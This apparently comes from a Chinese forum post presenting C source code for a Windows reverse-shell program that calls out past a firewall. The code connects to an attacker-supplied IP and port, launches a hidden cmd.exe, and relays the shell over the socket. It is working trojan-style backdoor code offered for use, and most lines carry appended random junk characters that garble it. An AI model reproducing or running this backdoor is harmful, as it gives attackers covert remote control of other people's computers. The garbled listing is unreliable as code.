这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }Wn6r_:
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/* ============================== bMxzJRrNg
Rebound port in Windows NT B+*F?k[
By wind,2006/7 8D;>] >
===============================*/ ]EE}ax%#aq
#include n$axqvG
#include PLw;9^<
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#pragma comment(lib,"wsock32.lib") 6S2D\Bt,_
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void OutputShell(); @Ej{sC!0T
SOCKET sClient; i.)kV B
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Jf|J":S
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void main(int argc,char **argv) ]{0
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{ F9]GEBLr
WSADATA stWsaData; {O]Cj~}
int nRet; DKF`uRvGN:
SOCKADDR_IN stSaiClient,stSaiServer; -wW%+wH
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if(argc != 3) 7$\;G82_
{ yw{GO([ZQ
printf("Useage:\n\rRebound DestIP DestPort\n"); hJkIFyQ{j
return; &`Z>z T}
}
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WSAStartup(MAKEWORD(2,2),&stWsaData); %_(e{Mf)
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L
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stSaiClient.sin_family = AF_INET; MJt?^G (w?
stSaiClient.sin_port = htons(0); <I&X[Sqp
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?Sh]m/WZd[
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (m|p|rL
{ "/(J*)%{
printf("Bind Socket Failed!\n"); |/Ggsfmby
return; (VI4kRj
} * A@~!@XE4
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stSaiServer.sin_family = AF_INET; ';^VdR]fk
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dArg'Dc4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); h&{9 &D1t
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z7V1e<E
{ %S.
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printf("Connect Error!"); ol^OvG:TQ
return; q$yTG!q*
}
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OutputShell(); ,@;",
} N41)?-7F
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void OutputShell() 7ykpDl^ @
{ jav7V"$
char szBuff[1024]; kOfbO'O9
SECURITY_ATTRIBUTES stSecurityAttributes; q3z<v:=1y
OSVERSIONINFO stOsversionInfo; [O2xE037h`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5hr$tkkL
STARTUPINFO stStartupInfo; MXh0 a@*]
char *szShell; ||;V5iR:
PROCESS_INFORMATION stProcessInformation; 0>6J -
unsigned long lBytesRead; F
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wI'T Je,
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -lQ8
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stSecurityAttributes.lpSecurityDescriptor = 0; B36_OH
stSecurityAttributes.bInheritHandle = TRUE; NoB)tAvw
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 08n2TL;EsX
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bX Q*d_]WT
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >=G;rs
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tda#9i[pkH
stStartupInfo.wShowWindow = SW_HIDE; eGkB#.+J!
stStartupInfo.hStdInput = hReadPipe; Sb+^~M
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &xo_93
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GetVersionEx(&stOsversionInfo); 5/F1|N4
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switch(stOsversionInfo.dwPlatformId) &G\Vn,1v
{ s!:'3[7+
case 1: $Ypt
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szShell = "command.com"; $M5iU@A
break; M+j V`J!
default: j^;f {0f
szShell = "cmd.exe"; oCg|*
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break; JfGU3d*c
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0/5
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send(sClient,szMsg,77,0); A=JPmsj.
while(1) lD)ZMaaS3
{ Hb55RilC
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4
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if(lBytesRead) T1%_sq
{ "yJFb=Xdq
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L1ro\ H
send(sClient,szBuff,lBytesRead,0); |L[/]@|
} {k*rD!tT
else ^ >JAl<k
{ i=T!4'Zu
lBytesRead=recv(sClient,szBuff,1024,0);
Tsg;i;
if(lBytesRead<=0) break; T&+*dyNxMK
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PvF3a`&r
} !k@(}CN_*
} O$zXDxn
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return; L|ZxB7xk
}